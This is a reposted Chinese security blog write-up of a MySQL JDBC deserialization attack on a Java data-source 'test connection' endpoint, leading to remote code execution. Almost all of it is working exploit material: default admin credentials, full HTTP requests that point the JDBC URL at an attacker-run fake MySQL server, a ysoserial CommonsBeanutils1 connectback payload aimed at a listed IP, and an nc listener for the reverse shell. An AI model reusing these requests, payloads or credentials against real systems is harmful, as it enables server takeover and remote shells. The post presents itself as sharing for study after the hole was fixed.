|
授权转载,文章来源:“P喵呜-PHPoop”语雀
0x00 前言
过了几个月了,也修复了,应该可以放出来了。为了我的狗命,老样子,站点域名就改为http://test.phpoop.com保护我自己。之前遇到的时候感觉挺有意思的,所以放出来大家一起学习学习。
0x01 详情
-
账号:admin
-
密码:Admin@2020!
POST /data-server/rest/dataSourceService/testConnection HTTP/1.1
Host: test.phpoop.com
Content-Length: 143
Accept: application/json, text/plain, */*
Origin: http://test.phpoop.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Content-Type: application/json;charset=UTF-8
Referer: http://test.phpoop.com/sjck/sjck_sjy/dataSource?noModule=false&modelName=%E6%95%B0%E6%8D%AE%E6%BA%90
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=3dc22923-2f78-4171-afd3-526b2c4ccfb0
Connection: close
{"dsType":1,"dsName":"test","remark":"测试一下看看","username":"root","passwd":"root","url":"jdbc:mysql://<host>:<port>/<database_name>"}
cd /MySQL_Fake_Server
python3 server.py
注意:一般来说启动成功的端口是3306才对,但是我vps已经有3306端口了,所以我修改了MySQL_Fake_Server目录的server.py文件。
接着vps启动nc监听8021端口
nc -lvvp 8021
接着修改为下面这样的数据包:
POST /data-server/rest/dataSourceService/testConnection HTTP/1.1
Host: test.phpoop.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Content-Length: 268
Origin: http://test.phpoop.com
Connection: close
Referer: http://test.phpoop.com/sjck/sjck_sjy/dataSource?noModule=false&modelName=%E6%95%B0%E6%8D%AE%E6%BA%90
Cookie: JSESSIONID=3dc22923-2f78-4171-afd3-526b2c4ccfb0
{"dsName":"test","remark":"1","dsType":1,"url":"jdbc:mysql://123.207.14.227:3307/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","username":"yso_CommonsBeanutils1_connectback:123.207.14.227:8021","passwd":"123"}
注意:
123.207.14.227:3307 == vps-ip与MySQL_Fake_Server启动的3307端口
123.207.14.227:8021 == vps-ip与nc监听8021端口
推 荐 阅 读
欢 迎 私 下 骚 扰
本文始发于微信公众号(潇湘信安):记一次mysql jdbc反序列化-实现java代码执行
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论